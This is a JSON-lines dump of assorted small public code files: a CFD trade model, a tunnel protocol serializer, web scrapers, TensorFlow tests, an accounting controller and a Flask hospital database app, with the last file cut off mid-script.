Column(CurrencyType, nullable = False)\n gross_total_imp\t= Column(CurrencyType, nullable = False) # from imported data\n broker_ref \t\t= Column(String(255), nullable = False) \n category \t\t= Column(Integer, nullable = False)\n\n def __init__(self, entry_action, exit_action, raw):\n self.quantity = 0\n self.entry_price = 0\n self.exit_price = 0\n self.brokerage = 0\n self.fees = 0\n #self.net_total_cost = 0\n #self.gross_total_cost = 0\n self.broker_ref = \"\"\n\n self.symbol = raw.description\n self.description = raw.description\n self.broker_ref = raw.broker_ref\n self.category = raw.category\n self.quantity = raw.size\n assert self.quantity == exit_action.quantity\n self.import_id = raw.import_id\n self.entry_date = entry_action.ref_date \n self.exit_date = exit_action.ref_date \n self.entry_price = entry_action.price\n self.exit_price = exit_action.price\n self.entry_brokerage = entry_action.brokerage\n self.exit_brokerage = exit_action.brokerage\n self.fees = entry_action.fees + exit_action.fees\n self.gross_total_imp = raw.amount\n if self.gross_total_imp != self.get_gross_total():\n logger.error(\"GROSS TOTAL DOES NOT MATCH FOR %s\", raw.broker_ref)\n total = self.get_gross_total()\n logger.error(\"value is %s [%s]\", str(total), str(type(total)))\n\n# assert self.gross_total_imp == self.get_gross_total()\n\n def get_entry_total(self):\n if self.category == RawData.CAT_INDEX:\n return (self.entry_price * self.quantity * 5)\n else:\n return (self.entry_price * self.quantity)\n\n def get_exit_total(self):\n if self.category == RawData.CAT_INDEX:\n return (self.exit_price * self.quantity * 5)\n else:\n return (self.exit_price * self.quantity)\n\n def get_gross_total(self):\n return self.get_exit_total() - self.get_entry_total()\n","repo_name":"robulouski/trade-herder","sub_path":"cfd/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":12778,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"43561625392","text":"import rpy2.robjects as ro\nfrom rpy2.robjects.packages import importr\nfrom rpy2.robjects import pandas2ri\nfrom rpy2.robjects import r\n\nfrom rpy2.robjects.conversion import localconverter\nimport numpy as np\nimport pandas as pd\n\ndef distance_matrix(df, metric='ahmad'):\n \"\"\"\n Returns the pairwise distance matrix from a dataframe with mixed types.\n Uses distmix() from R package `kmed`.\n\n Parameters:\n df (pd.DataFrame): The DataFrame to process. Should contain both numerical and categorical features. \n Some distances use 'binary' features, where some features only have 2 distinct values.\n\n metric (str): The distance to compute. Available distances are: Gower, Huang, Podani, \n Harikumar,Wishart and Ahmad & Dey.\n\n Return:\n dist_matrix (numpy.array): The pairwise distance of the dataframe\n \"\"\"\n\n utils = importr('utils')\n utils.chooseCRANmirror(ind=1)\n utils.install_packages('kmed')\n \n with localconverter(ro.default_converter + pandas2ri.converter):\n kmed = importr('kmed')\n num_ids = []\n cat_ids = []\n bin_ids = []\n for i,col in enumerate(df.columns):\n if df[col].nunique() <= 2:\n bin_ids.append(i+1)\n continue\n elif np.issubdtype(df[col].dtype, np.number):\n num_ids.append(i+1)\n continue\n else:\n cat_ids.append(i+1)\n\n dist_matrix = kmed.distmix(\n data=df, \n method=metric, \n idbin=ro.r(\"NULL\") if len(bin_ids)==0 else ro.IntVector(bin_ids),\n idnum=ro.r(\"NULL\") if len(num_ids)==0 else ro.IntVector(num_ids),\n idcat=ro.r(\"NULL\") if len(cat_ids)==0 else ro.IntVector(cat_ids)\n )\n return dist_matrix\n\n\n\nif __name__ == '__main__':\n num1 = [1,2,3]\n num2 = [4,5,6]\n cat1 = ['A','B','C']\n cat2 = ['D','E','F']\n df = pd.DataFrame()\n df['cat1'] = cat1\n df['cat2'] = cat2\n df['num1'] = num1\n df['num2'] = num2\n print(\n distance_matrix(df, 'harikumar')\n )","repo_name":"ClementCornet/Compare-Mixed-Clustering","sub_path":"algos/distance_matrix.py","file_name":"distance_matrix.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24479647650","text":"TYPE_CLIENT_HELLO_REQ = \"client hello req\"\nTYPE_CLIENT_HELLO_RESP = \"client hello resp\"\nTYPE_USER_CREATE_CONN_REQ = \"user create conn req\"\nTYPE_USER_CREATE_CONN_RESP = \"user create conn resp\"\nTYPE_HEARTBEAT_REQ = \"heartbeat req\"\nTYPE_HEARTBEAT_RESP = \"heartbeat resp\"\nTYPE_PAYLOAD = \"payload\"\ntype_map_bs = {\n TYPE_CLIENT_HELLO_REQ: int(0x01).to_bytes(1, 'big'),\n TYPE_CLIENT_HELLO_RESP: int(0x02).to_bytes(1, 'big'),\n TYPE_USER_CREATE_CONN_REQ: int(0x03).to_bytes(1, 'big'),\n TYPE_USER_CREATE_CONN_RESP: int(0x04).to_bytes(1, 'big'),\n TYPE_PAYLOAD: int(0x05).to_bytes(1, 'big'),\n TYPE_HEARTBEAT_REQ: int(0x06).to_bytes(1, 'big'),\n TYPE_HEARTBEAT_RESP: int(0x07).to_bytes(1, 'big'),\n}\nbs_map_type = {int.from_bytes(val, 'big'): key for (key, val) in type_map_bs.items()}\n\n\nclass package:\n ty: str\n client_id: int\n conn_id: int\n secret: str\n error: str\n payload: bytes\n listen_ports: []\n\n def __init__(self, ty: str = \"\", client_id: int = 0, conn_id: int = 0, error: str = \"\", secret: str = \"\",\n listen_ports=None, payload: bytes = bytes()):\n if listen_ports is None:\n listen_ports = []\n self.ty = ty\n self.client_id = client_id\n self.listen_ports = listen_ports\n self.conn_id = conn_id\n self.error = error\n self.payload = payload\n self.secret = secret\n\n\ndef serialize(obj: package) -> bytes:\n if obj.ty == TYPE_PAYLOAD:\n bs = bytes()\n bs += type_map_bs[obj.ty]\n bs += obj.conn_id.to_bytes(4, 'big')\n bs += len(obj.payload).to_bytes(4, 'big')\n bs += obj.payload\n return bs\n else:\n bs = bytes()\n bs += type_map_bs[obj.ty]\n bs += obj.client_id.to_bytes(4, 'big')\n bs += obj.conn_id.to_bytes(4, 'big')\n bs += len(obj.secret).to_bytes(2, 'big')\n bs += bytes(obj.secret, encoding='utf-8')\n bs += len(obj.error).to_bytes(2, 'big')\n bs += bytes(obj.error, encoding='utf-8')\n bs += len(obj.listen_ports).to_bytes(1, 'big')\n for listen_port in obj.listen_ports:\n bs += listen_port.to_bytes(4, 'big')\n return bs\n\n\ndef un_serialize(bs) -> package:\n type_bs = bs[:1]\n bs = bs[1:]\n ty = bs_map_type[int.from_bytes(type_bs, 'big')]\n if ty == TYPE_PAYLOAD:\n conn_id_bs = bs[:4]\n bs = bs[4:]\n conn_id = int.from_bytes(conn_id_bs, 'big')\n\n payload_len_bs = bs[:4]\n bs = bs[4:]\n payload_len = int.from_bytes(payload_len_bs, 'big')\n\n payload_bs = bs[:payload_len]\n return package(ty=ty, conn_id=conn_id, payload=payload_bs)\n else:\n client_id_bs = bs[:4]\n bs = bs[4:]\n client_id = int.from_bytes(client_id_bs, 'big')\n\n conn_id_bs = bs[:4]\n bs = bs[4:]\n conn_id = int.from_bytes(conn_id_bs, 'big')\n\n secret_len_bs = bs[:2]\n bs = bs[2:]\n secret_len = int.from_bytes(secret_len_bs, 'big')\n\n secret_bs = bs[:secret_len]\n bs = bs[secret_len:]\n secret = str(secret_bs, encoding='utf-8')\n\n error_len_bs = bs[:2]\n bs = bs[2:]\n error_len = int.from_bytes(error_len_bs, 'big')\n\n error_bs = bs[:error_len]\n bs = bs[error_len:]\n error = str(error_bs, encoding='utf-8')\n\n listen_ports_len_bs = bs[:1]\n bs = bs[1:]\n listen_ports_len = int.from_bytes(listen_ports_len_bs, 'big')\n\n listen_ports = []\n for i in range(listen_ports_len):\n listen_port_bs = bs[:4]\n bs = bs[4:]\n listen_ports.append(int.from_bytes(listen_port_bs, 'big'))\n\n return package(ty=ty, client_id=client_id, listen_ports=listen_ports, conn_id=conn_id, error=error,\n secret=secret)\n","repo_name":"godaner/pyp","sub_path":"protocol.py","file_name":"protocol.py","file_ext":"py","file_size_in_byte":3772,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"23155605506","text":"\r\n#times tables\r\n\r\ndef timestables():\r\n times_table=int(input(\"Which times table do you wish to see? (2-12) >>>\"))\r\n \r\n if times_table > 12:\r\n print(\"Sorry, we don't have that times table yet.\")\r\n \r\n if times_table == 1:\r\n for loopCounter2 in range(13):\r\n print(\"1 x\",loopCounter2,\"=\",1*loopCounter2)\r\n elif times_table == 2:\r\n for loopCounter2 in range(13):\r\n print(\"2 x\",loopCounter2,\"=\",2*loopCounter2)\r\n elif times_table == 3:\r\n for loopCounter2 in range(13):\r\n print(\"3 x\",loopCounter2,\"=\",3*loopCounter2)\r\n elif times_table == 4:\r\n for loopCounter2 in range(13):\r\n print(\"4 x\",loopCounter2,\"=\",4*loopCounter2)\r\n elif times_table == 5:\r\n for loopCounter2 in range(13):\r\n print(\"5 x\",loopCounter2,\"=\",5*loopCounter2)\r\n elif times_table == 6:\r\n for loopCounter2 in range(13):\r\n print(\"6 x\",loopCounter2,\"=\",6*loopCounter2)\r\n elif times_table == 7:\r\n for loopCounter2 in range(13):\r\n print(\"7 x\",loopCounter2,\"=\",7*loopCounter2)\r\n elif times_table == 8:\r\n for loopCounter2 in range(13):\r\n print(\"8 x\",loopCounter2,\"=\",8*loopCounter2)\r\n elif times_table == 9:\r\n for loopCounter2 in range(13):\r\n print(\"9 x\",loopCounter2,\"=\",9*loopCounter2)\r\n elif times_table == 10:\r\n for loopCounter2 in range(13):\r\n print(\"10 x\",loopCounter2,\"=\",10*loopCounter2)\r\n elif times_table == 11:\r\n for loopCounter2 in range(13):\r\n print(\"11 x\",loopCounter2,\"=\",11*loopCounter2)\r\n elif times_table == 12:\r\n for loopCounter2 in range(13):\r\n print(\"12 x\",loopCounter2,\"=\",12*loopCounter2)\r\n \r\n \r\n repeat = input(\"Do you wish to see another times table? (Y/N) >>>\")\r\n if repeat == \"Y\":\r\n timestables()\r\n if repeat == \"N\":\r\n start()\r\n \r\n#multiplication\r\n\r\ndef multiply(number1,number2):\r\n product = number1*number2\r\n print(\"Your product is\",product)\r\n repeat = input(\"Do you wish to do another calculation? (Y/N) >>>\")\r\n if repeat == \"Y\":\r\n calculations()\r\n if repeat == \"N\":\r\n start()\r\n \r\n#division\r\n \r\ndef divide(number1,number2):\r\n quotient = number1/number2\r\n print(\"Your quotient is\",quotient)\r\n repeat = input(\"Do you wish to do another calculation? (Y/N) >>>\")\r\n if repeat == \"Y\":\r\n calculations()\r\n if repeat == \"N\":\r\n start()\r\n\r\n#adding\r\n \r\ndef add(number1,number2):\r\n total =number1+number2\r\n print(\"Your total is\",total)\r\n repeat = input(\"Do you wish to do another calculation? (Y/N) >>>\")\r\n if repeat == \"Y\":\r\n calculations()\r\n if repeat == \"N\":\r\n start()\r\n\r\n#subtraction\r\n \r\ndef subtract(number1,number2):\r\n difference = number1-number2\r\n print(\"Your difference is\",difference)\r\n repeat = input(\"Do you wish to do another calculation? (Y/N) >>>\")\r\n if repeat == \"Y\":\r\n calculations()\r\n if repeat == \"N\":\r\n start()\r\n\r\n#start\r\n\r\ndef start():\r\n start = str(input(\"Do you wish to do maths? (Y/N) >>> \"))\r\n if start == \"Y\":\r\n selection()\r\n if start == \"N\":\r\n exit\r\n \r\n#selection\r\n\r\ndef selection():\r\n selection = str(input(\"Do you wish to see the times tables (1) or do calculations? (2) >>> \"))\r\n if selection == \"1\":\r\n timestables()\r\n if selection == \"2\":\r\n calculations()\r\n \r\n#calculations\r\n \r\ndef calculations():\r\n calculation=str(input(\"Do you want to divide, multiply, add or subtract? \"))\r\n number1=float(input(\"Enter a number >>> \"))\r\n number2=float(input(\"Enter another number >>> \"))\r\n\r\n#choosing calculation\r\n \r\n if calculation == \"divide\":\r\n divide(number1,number2)\r\n\r\n if calculation == \"multiply\":\r\n multiply(number1,number2)\r\n\r\n if calculation == \"add\":\r\n add(number1,number2)\r\n\r\n if calculation == \"subtract\":\r\n subtract(number1,number2)\r\n\r\nprint(\"\\u0332\".join(\"Welcome to the times tables and calculations machine!\"))\r\nprint(\"\")\r\n\r\nstart()\r\n","repo_name":"RemusHatagan/School-Small-Projects","sub_path":"Times tables and calculations machine.py","file_name":"Times tables and calculations machine.py","file_ext":"py","file_size_in_byte":4004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71505332092","text":"#!/usr/local/bin/python3\n\nimport os\nimport re\nimport time\nimport requests\nimport subprocess\nfrom datetime import datetime, timedelta\nfrom bs4 import BeautifulSoup\n\nseven_url = 'https://tianqi.moji.com/forecast7/china/zhejiang/fuyang-district'\n\nmail = '17633558906@163.com'\n\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit'\n '/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safar'\n 'i/537.36',\n }\n\ndef get_html(url):\n res = requests.get(url, headers=headers)\n soup = BeautifulSoup(res.text, \"html.parser\")\n return soup\n\ndef get_day_info(html):\n day_info = []\n day = html.find_all('span',class_ = 'week')\n for info in day:\n day_ = info.getText()\n day_info.append(day_)\n\n day_info.reverse()\n day_info = (' ').join(day_info)\n return day_info\n\ndef show_weather(day,wea,b,strong):\n space = \"\\t\"\n br = ''\n brr ='\\n'\n str = br + day + space + wea + space + \"最高温度: \" + b + space + \"最低温度: \" + strong + brr\n print('*'*60)\n print(str)\n return str\n\ndef weather_info(html):\n day_info = get_day_info(html)\n wea = html.find('span',class_ = 'wea').getText()\n b = html.find('div',class_ = 'tree clearfix').b.getText()\n strong = html.find('div',class_ = 'tree clearfix').strong.getText()\n return show_weather(day_info,wea,b,strong)\n\ndef parse_html(url):\n soup = get_html(url)\n detail_future = soup.find('div',id = 'detail_future')\n lispan = detail_future.find_all('li')\n weather = \"\"\n for li in lispan:\n wea = weather_info(li)\n weather = weather + \"\\n\"\n weather = weather + wea\n return weather\n\ndef sendmail(text):\n # pic = 'ls'\n # text = subprocess.getoutput('./python/mail.py')\n # pi = ' 天气预报 '\n # title = 'echo \"%s \\n \\n %s\" | mail -s ' %text %text\n # cmd = title + pi + mail\n # result = subprocess.getoutput(cmd)\n # print(result)\n # print(cmd)\n print(text)\n\ndef main():\n text = parse_html(seven_url)\n sendmail(text)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"helloCodeing/demo","sub_path":"moji.py","file_name":"moji.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42203627311","text":"from unittest import TestCase\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom tests.tensorflow_test_classes import ExampleNonTrainableBlock\nfrom tests.tensorflow_test_classes import ExampleTrainableBlock\nfrom tests.tensorflow_test_classes import TensorflowModelExample\n\ntf.config.experimental.set_visible_devices([], 'GPU')\n\n\nclass TestBaseTensorflowModel(TestCase):\n\n def __init__(self, methodName='runTest'):\n super(TestBaseTensorflowModel, self).__init__(methodName=methodName)\n self.exampleInputs = {\n 'ids': [1, 2, 3],\n 'input1': tf.constant([[2, 3, 4]], dtype=tf.float32)\n }\n self.nonTrainableExpectedOutput = np.array([[0.09003057, 0.24472848, 0.66524094]], dtype=np.float32)\n self.exampleTargets = tf.constant([[1, 2, 3]], dtype=tf.float32)\n self.expectedLoss = -5\n\n def setUp(self):\n super().setUp()\n self.trainableBlock = ExampleTrainableBlock(requiredOutputSize=self.nonTrainableExpectedOutput.shape[1])\n self.nonTrainableBlock = ExampleNonTrainableBlock()\n self.trainableModel = TensorflowModelExample(exampleBlock=self.trainableBlock)\n self.nonTrainableModel = TensorflowModelExample(exampleBlock=self.nonTrainableBlock)\n\n def test_get_model_blocks(self):\n nonTrainableBlocks = self.nonTrainableModel.get_model_blocks()\n nonTrainableBlockConfigs = [block.get_config() for block in nonTrainableBlocks]\n self.assertEqual(nonTrainableBlockConfigs, [self.nonTrainableBlock.get_config()])\n trainableBlocks = self.trainableModel.get_model_blocks()\n trainableBlockConfigs = [block.get_config() for block in trainableBlocks]\n self.assertEqual(trainableBlockConfigs, [self.trainableBlock.get_config()])\n\n def test_model_get_loss(self):\n modelLoss = self.nonTrainableModel.get_loss(\n targets=self.exampleTargets,\n training=False,\n **self.exampleInputs\n )\n self.assertEqual(modelLoss.numpy(), self.expectedLoss)\n\n def test_model_produce_metrics(self):\n metrics = self.nonTrainableModel.produce_metrics(\n targets=self.exampleTargets,\n training=False,\n globalStep=100,\n **self.exampleInputs\n )\n self.assertTrue((metrics.numpy() == self.exampleInputs['input1'].numpy()).all())\n\n def test_model_get_outputs(self):\n modelOutput = self.nonTrainableModel.get_outputs(**self.exampleInputs)\n self.assertTrue((modelOutput.numpy() == self.nonTrainableExpectedOutput).all())\n\n def test_model_get_evaluation_outputs(self):\n modelOutput = self.nonTrainableModel.get_evaluation_outputs(**self.exampleInputs)\n self.assertTrue((modelOutput.numpy() == self.nonTrainableExpectedOutput).all())\n","repo_name":"hypergol/hypergol","sub_path":"src/tests/test_base_tensorflow_model.py","file_name":"test_base_tensorflow_model.py","file_ext":"py","file_size_in_byte":2787,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"78"} +{"seq_id":"14720376133","text":"'''\ninstall requirements on google colab\n\n!apt-get update\n!apt install chromium-chromedriver\n!cp /usr/lib/chromium-browser/chromedriver /usr/bin\n!pip install selenium\n\n@Author : Ghassene Tanabene | ghassene.tanabene@gmail.com\n'''\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport requests\nimport io\n\noptions = webdriver.ChromeOptions()\noptions.add_argument('--headless')\noptions.add_argument('--no-sandbox')\noptions.add_argument('--disable-dev-shm-usage')\ndriver = webdriver.Chrome('chromedriver',options=options)\n\nURL = 'https://covid19.apple.com/mobility'\n\ndef download_csv_file(csv_url, fileName):\n\n req = requests.get(csv_url)\n url_content = req.content\n csv_file = open(fileName, 'wb')\n csv_file.write(url_content)\n csv_file.close()\n\ndef scrape_csv_file():\n\n try:\n driver.get(URL)\n all_a_tags = driver.find_elements(by=By.TAG_NAME, value = \"a\")\n links = [elt.get_attribute('href') for elt in all_a_tags]\n \n for link in links: \n if link.endswith(\".csv\"):\n csv_url = link\n if csv_url:\n download_csv_file(csv_url, 'Apple-mobility-data.csv')\n driver.quit()\n except:\n driver.quit()\n print(\"ERROR\")\n\ndef create_new_dataframe():\n\n # Scraping data\n scrape_csv_file()\n\n df = pd.read_csv('Apple-mobility-data.csv',index_col=False)\n\n # Dataframe preprocessing \n new_df = df.melt(id_vars=[\"geo_type\", \"region\", \"transportation_type\", \"alternative_name\", \"sub-region\", \"country\"], \n var_name=\"Date\", \n value_name=\"Value\")\n \n return new_df\n\n#my_df = create_new_dataframe()\n#my_df.to_csv(\"new_dataset.csv\", index=False)\n","repo_name":"ghassenetanabene6/Data-Scraping-With-Selenium-Python","sub_path":"Apple-mobility-data.py","file_name":"Apple-mobility-data.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42557921763","text":"__author__ = 'Jaimy Azle'\n__version__ = '1.0'\n__copyright__ = 'Copyright (c) 2009 Cipta Solusi Pratama'\n\nfrom mvcsvc import *\nfrom elixir import *\nimport datetime as dt\nimport sqlalchemy as sa\nfrom validators import *\nfrom tbl import FSCPRD\n\nclass CMN095(MVCController):\n \"\"\"\n Fiscal Period\n \"\"\"\n\n _description = 'Fiscal Period'\n _supported_functions = (MVCFuncNew, MVCFuncOpen, MVCFuncShow, MVCFuncCopy, MVCFuncDelete)\n _model_binder = MVCModelBinder(FSCPRD)\n\n FSPRCONO = MVCField(MVCTypeList + MVCTypeField + MVCTypeParam, String(3), label='Comp. ID', visible=False, enabled=False)\n FSPRTPCD = MVCField(MVCTypeList + MVCTypeField + MVCTypeParam, String(3), label='Fiscal Type', visible=False, enabled=False)\n FSPRFSYR = MVCField(MVCTypeList + MVCTypeField + MVCTypeParam, Integer, label='Year', enabled=False)\n FSPRPRID = MVCField(MVCTypeList + MVCTypeField, Integer, label='Period')\n FSPRPRNM = MVCField(MVCTypeList + MVCTypeField, String(16), label='Name')\n FSPRFRDT = MVCField(MVCTypeList + MVCTypeField, Date, label='Fr. Date')\n FSPRTODT = MVCField(MVCTypeList + MVCTypeField, Date, label='To Date')\n FSPRPRST = MVCField(MVCTypeList + MVCTypeField, Integer, label='Closed', index=True)\n\n def initializeParam(self, mvcsession, query):\n '''Initialize parameters'''\n params = mvcsession.paramDataset.FieldsAsDict()\n proxy = self.getBusinessObjectProxy()\n if params['FSPRCONO'] in (None, ''):\n usrobj = proxy.getObject('USROBJ')\n infodict = usrobj.retrieveUserInfoDict(mvcsession)\n params['FSPRCONO'] = infodict['USRCONO']\n\n mvcsession.paramDataset.Edit()\n mvcsession.paramDataset.SetFieldValues(params)\n mvcsession.paramDataset.Post()\n\n cmpobj = proxy.getObject('CMPOBJ')\n cmpobj.validateCompany(params['FSPRCONO'])\n\n if (params['FSPRTPCD'] is None) or (params['FSPRFSYR'] is None):\n raise Exception('This program could not be loaded directly by user');\n query = query.filter_by(FSPRCONO = params['FSPRCONO'])\n query = query.filter_by(FSPRTPCD = params['FSPRTPCD'])\n query = query.filter_by(FSPRFSYR = params['FSPRFSYR'])\n return query\n\n def initializeData(self, mvcsession):\n '''Initializing data'''\n params = mvcsession.paramDataset.FieldsAsDict()\n mvcsession.entryDataset.Append()\n mvcsession.entryDataset.SetFieldValues(params)\n mvcsession.entryDataset.Post()\n return mvcsession\n\n def validateData(self, mvcsession):\n '''Validate data retrieved from user input before storing it into persistent storage'''\n fields = mvcsession.entryDataset.FieldsAsDict()\n proxy = self.getBusinessObjectProxy()\n fscobj = proxy.getObject('FSCOBJ')\n fscinfo = fscobj.getFiscalYear(fields['FSPRCONO'], fields['FSPRTPCD'], fields['FSPRFSYR'])\n if fscinfo[0]:\n if fields['FSPRPRID'] > fscinfo[0]:\n raise Exception('Period must not over than total period count allowed')\n else:\n raise Exception('Header record could not be retrieved')\n return mvcsession\n\n\n\n\n\n\n\n","repo_name":"jazlee/csp-accounting","sub_path":"ecf/mvc/CMN095/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37782146808","text":"import numpy as np\nfrom sklearn.metrics import mean_squared_error\nimport sys\nsys.path.append(\"..\")\nimport grading\n\n\ndef submit_mse(compute_mse, email, token):\n ASSIGNMENT_KEY = \"SBaWP48eEeeGSBKyliRlgg\"\n PART_KEY = \"u2t7D\"\n\n # First, do rigorous local testing to help the learner\n for n in [1, 5, 10, 10**3]:\n elems = [np.arange(n), np.arange(n, 0, -1), np.zeros(n),\n np.ones(n), np.random.random(n), np.random.randint(100, size=n)]\n for el in elems:\n for el_2 in elems:\n true_mse = np.array(mean_squared_error(el, el_2))\n my_mse = compute_mse(el, el_2)\n if not np.allclose(true_mse, my_mse):\n print('mse(%s,%s)' % (el, el_2))\n print(\"should be: %f, but your function returned %f\" % (true_mse, my_mse))\n raise ValueError('Wrong result')\n # Second, submit some reference values. There is nothing preventing the learner from\n # manually submitting numbers computed not via tensorflow, so there is little point\n # in comprehensive server-side testing\n test_pairs = (\n (np.array([\n 0.85415937, 0.768366, 0.9763879, 0.11861405, 0.21219242]),\n np.array([0.27163543, 0.14893905, 0.84616464,\n 0.86294942, 0.65509213])),\n (np.array([1, 2, 3]), np.array([3, 2, 2])),\n (np.array([1]), np.array([1])))\n answers = []\n for pair in test_pairs:\n answers.append(compute_mse(pair[0], pair[1]))\n grader = grading.Grader(ASSIGNMENT_KEY)\n grader.set_answer(PART_KEY, answers)\n grader.submit(email, token)\n","repo_name":"alexhuang1117/Data-Science-Portfolio","sub_path":"courses/Cousera/Intro to Deep Learning/Tenserflow & Keras Introduction/submit.py","file_name":"submit.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":174,"dataset":"github-code","pt":"78"} +{"seq_id":"29082517409","text":"from flask import Flask, render_template, request, jsonify\r\nfrom back import create, addD, delD, addP, delP, addA, delA, addM, delM, addPh, delPh, selD, selA, selP, selPh, selM\r\n\r\napp = Flask(__name__)\r\n\r\ncreate()\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template('index.html')\r\n\r\n# Routes for Doctors\r\n@app.route('/doctors')\r\ndef doctors():\r\n doctors_data = selD(-1)\r\n return render_template('entity.html', entity_type='Doctor', data=doctors_data)\r\n\r\n@app.route('/add_doctor', methods=['POST'])\r\ndef add_doctor():\r\n if request.method == 'POST':\r\n try:\r\n doc_id = int(request.form['entityId'])\r\n doc_name = request.form['entityName']\r\n department = request.form['department']\r\n opdf = request.form['opdf']\r\n opdt = request.form['opdt']\r\n room_no = int(request.form['roomNo'])\r\n phone_no = request.form['phoneNo']\r\n\r\n addD(doc_id, doc_name, department, opdf, opdt, room_no, phone_no)\r\n\r\n return jsonify({'success': True})\r\n except Exception as e:\r\n return jsonify({'success': False, 'error': str(e)})\r\n\r\n@app.route('/delete_doctor/')\r\ndef delete_doctor(doc_id):\r\n delD(doc_id)\r\n return jsonify({'success': True})\r\n\r\n# Routes for Patients\r\n@app.route('/patients')\r\ndef patients():\r\n patients_data = selP(-1)\r\n return render_template('entity.html', entity_type='Patient', data=patients_data)\r\n\r\n@app.route('/add_patient', methods=['POST'])\r\ndef add_patient():\r\n if request.method == 'POST':\r\n try:\r\n patient_id = int(request.form['entityId'])\r\n patient_name = request.form['entityName']\r\n phone_no = request.form['phoneNo']\r\n io = request.form['io']\r\n\r\n addP(patient_id, patient_name, phone_no, io)\r\n\r\n return jsonify({'success': True})\r\n except Exception as e:\r\n return jsonify({'success': False, 'error': str(e)})\r\n\r\n@app.route('/delete_patient/')\r\ndef delete_patient(patient_id):\r\n delP(patient_id)\r\n return jsonify({'success': True})\r\n\r\n# Routes for Appointments\r\n@app.route('/appointments')\r\ndef appointments():\r\n appointments_data = selA(-1)\r\n return render_template('entity.html', entity_type='Appointment', data=appointments_data)\r\n\r\n@app.route('/add_appointment', methods=['POST'])\r\ndef add_appointment():\r\n if request.method == 'POST':\r\n try:\r\n appointment_id = int(request.form['entityId'])\r\n patient_id = int(request.form['patientId'])\r\n doctor_id = int(request.form['doctorId'])\r\n token = int(request.form['token'])\r\n\r\n addA(appointment_id, patient_id, doctor_id, token)\r\n\r\n return jsonify({'success': True})\r\n except Exception as e:\r\n return jsonify({'success': False, 'error': str(e)})\r\n\r\n@app.route('/delete_appointment/')\r\ndef delete_appointment(appointment_id):\r\n delA(appointment_id)\r\n return jsonify({'success': True})\r\n\r\n# Routes for Medicines\r\n@app.route('/medicines')\r\ndef medicines():\r\n medicines_data = selM(-1)\r\n return render_template('entity.html', entity_type='Medicine', data=medicines_data)\r\n\r\n@app.route('/add_medicine', methods=['POST'])\r\ndef add_medicine():\r\n if request.method == 'POST':\r\n try:\r\n medicine_id = int(request.form['entityId'])\r\n medicine_name = request.form['entityName']\r\n\r\n addM(medicine_id, medicine_name)\r\n\r\n return jsonify({'success': True})\r\n except Exception as e:\r\n return jsonify({'success': False, 'error': str(e)})\r\n\r\n@app.route('/delete_medicine/')\r\ndef delete_medicine(medicine_id):\r\n delM(medicine_id)\r\n return jsonify({'success': True})\r\n\r\n# Routes for Pharmacies\r\n@app.route('/pharmacies')\r\ndef pharmacies():\r\n pharmacies_data = selPh(-1)\r\n return render_template('entity.html', entity_type='Pharmacy', data=pharmacies_data)\r\n\r\n@app.route('/add_pharmacy', methods=['POST'])\r\ndef add_pharmacy():\r\n if request.method == 'POST':\r\n try:\r\n pharmacy_id = int(request.form['entityId'])\r\n med1_id = int(request.form['med1Id'])\r\n med2_id = int(request.form['med2Id'])\r\n med3_id = int(request.form['med3Id'])\r\n med4_id = int(request.form['med4Id'])\r\n\r\n addPh(pharmacy_id, med1_id, med2_id, med3_id, med4_id)\r\n\r\n return jsonify({'success': True})\r\n except Exception as e:\r\n return jsonify({'success': False, 'error': str(e)})\r\n\r\n@app.route('/delete_pharmacy/')\r\ndef delete_pharmacy(pharmacy_id):\r\n delPh(pharmacy_id)\r\n return jsonify({'success': True})\r\n\r\n@app.route('/select_doctor/')\r\ndef select_doctor(doc_id):\r\n doctor_data = selD(doc_id)\r\n return jsonify({'success': True, 'data': doctor_data})\r\n\r\n@app.route('/select_patient/')\r\ndef select_patient(patient_id):\r\n patient_data = selP(patient_id)\r\n return jsonify({'success': True, 'data': patient_data})\r\n\r\n@app.route('/select_appointment/')\r\ndef select_appointment(appointment_id):\r\n appointment_data = selA(appointment_id)\r\n return jsonify({'success': True, 'data': appointment_data})\r\n\r\n@app.route('/select_medicine/')\r\ndef select_medicine(medicine_id):\r\n medicine_data = selM(medicine_id)\r\n return jsonify({'success': True, 'data': medicine_data})\r\n\r\n@app.route('/select_pharmacy/')\r\ndef select_pharmacy(pharmacy_id):\r\n pharmacy_data = selPh(pharmacy_id)\r\n return jsonify({'success': True, 'data': pharmacy_data})\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n","repo_name":"manucmadhu/hospitaldb","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16347021823","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun May 13 22:03:43 2018\r\n\r\n@author: nit_n\r\n\"\"\"\r\nfrom numpy import array, sqrt, arange\r\nfrom pylab import plot, clf, figure, xlabel, ylabel, title\r\n\r\nG = 1\r\nM = 10\r\nL = 2\r\ntmin = 0\r\ntmax = 10.0\r\nN = 500\r\nh = (tmax - tmin)/N\r\n\r\ndef 